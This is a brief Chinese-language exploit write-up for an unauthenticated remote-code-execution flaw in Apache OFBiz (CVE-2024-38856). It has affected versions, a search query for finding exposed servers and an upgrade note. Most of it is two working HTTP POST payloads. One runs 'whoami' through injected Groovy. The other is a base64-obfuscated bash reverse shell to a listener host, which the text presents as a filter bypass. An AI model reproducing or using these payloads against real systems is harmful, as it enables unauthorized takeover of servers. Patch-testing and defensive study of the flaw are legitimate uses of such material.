Apache-OFBiz授权不当导致RCE (CVE-2024-38856)

0x01 漏洞描述：

Apache OFBiz 18.12.14之前版本存在命令执行漏洞，该漏洞源于ControlServlet和RequestHandler函数，在处理请求中存在授权错误，导致未经身份验证的远程攻击者通过构造特殊URL来覆盖最终的渲染视图，从而执行任意代码

0x02 影响版本：

Apache OFBiz <= 18.12.14

0x03 搜索语句：

app="Apache_OFBiz"

0x04 漏洞复现：

POST /webtools/control/main/ProgramExport HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Content-Type: application/x-www-form-urlencoded

groovyProgram=throw new Exception('whoami'.execute().text);

开启nc监听 进行远程连接 。注意这里加了一层base64进行绕过

POST /webtools/control/main/ProgramExport HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Content-Type: application/x-www-form-urlencoded

groovyProgram="bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEyNy4wLjAuMS85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}".execute()

0x05 修复建议：

升级至18.12.14以上版本